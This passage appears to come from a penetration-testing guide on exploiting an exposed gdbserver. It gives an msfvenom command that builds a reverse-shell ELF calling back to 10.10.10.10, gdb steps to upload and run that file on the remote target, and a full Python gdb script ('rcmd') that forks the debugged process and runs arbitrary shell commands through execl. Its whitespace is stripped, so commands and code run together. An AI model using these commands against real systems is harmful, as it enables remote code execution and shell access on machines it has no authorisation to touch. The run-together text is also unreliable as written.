# Trick shared by @B1n4rySh4d0wmsfvenom-plinux/x64/shell_reverse_tcpLHOST=10.10.10.10LPORT=4444PrependFork=true-felf-obinary.elfchmod+xbinary.elfgdbbinary.elf# Set remote debuger targettargetextended-remote10.10.10.11:1337# Upload elf fileremoteputbinary.elfbinary.elf# Set remote executable filesetremoteexec-file/home/user/binary.elf# Execute reverse shell executablerun# You should get your reverse-shell
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.targetextended-remote192.168.1.4:2345# Load our custom gdb command `rcmd`.source./remote-cmd.py# Change to a trusty binary and run it to load itsetremoteexec-file/bin/bashr# Run until a point where libc has been loaded on the remote process, e.g. start of main().tbmainr# Run the remote command, e.g. `ls`.rcmdls
まず最初にこのスクリプトをローカルに作成します:
remote-cmd.py
#!/usr/bin/env python3import gdbimport reimport tracebackimport uuidclassRemoteCmd(gdb.Command):def__init__(self):self.addresses ={}self.tmp_file = f'/tmp/{uuid.uuid4().hex}'gdb.write(f"Using tmp output file: {self.tmp_file}.\n")gdb.execute("set detach-on-fork off")gdb.execute("set follow-fork-mode parent")gdb.execute("set max-value-size unlimited")gdb.execute("set pagination off")gdb.execute("set print elements 0")gdb.execute("set print repeats 0")super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)defpreload(self):for symbol in ["close","execl","fork","free","lseek","malloc","open","read",]:self.load(symbol)defload(self,symbol):if symbol notin self.addresses:address_string = gdb.execute(f"info address {symbol}", to_string=True)match = re.match(f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE)if match andlen(match.groups())>0:self.addresses[symbol]= match.groups()[0]else:raiseRuntimeError(f'Could not retrieve address for symbol "{symbol}".')return self.addresses[symbol]defoutput(self):# From `fcntl-linux.h`O_RDONLY =0gdb.execute(f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})')# From `stdio.h`SEEK_SET =0SEEK_END =2gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')ifint(gdb.convenience_variable("len"))<=0:gdb.write("No output was captured.")returngdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')gdb.execute('printf "%s\\n", (char*) $mem')gdb.execute(f'call (int){self.load("close")}($fd)')gdb.execute(f'call (int){self.load("free")}($mem)')definvoke(self,arg,from_tty):try:self.preload()is_auto_solib_add = gdb.parameter("auto-solib-add")gdb.execute("set auto-solib-add off")parent_inferior = gdb.selected_inferior()gdb.execute(f'set $child_pid = (int){self.load("fork")}()')child_pid = gdb.convenience_variable("child_pid")child_inferior =list(filter(lambdax: x.pid == child_pid, gdb.inferiors()))[0]gdb.execute(f"inferior {child_inferior.num}")try:gdb.execute(f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)')except gdb.error as e:if ("The program being debugged exited while in a function called from GDB"instr(e)):passelse:raise efinally:gdb.execute(f"inferior {parent_inferior.num}")gdb.execute(f"remove-inferiors {child_inferior.num}")self.output()exceptExceptionas e:gdb.write("".join(traceback.TracebackException.from_exception(e).format()))raise efinally:gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')RemoteCmd()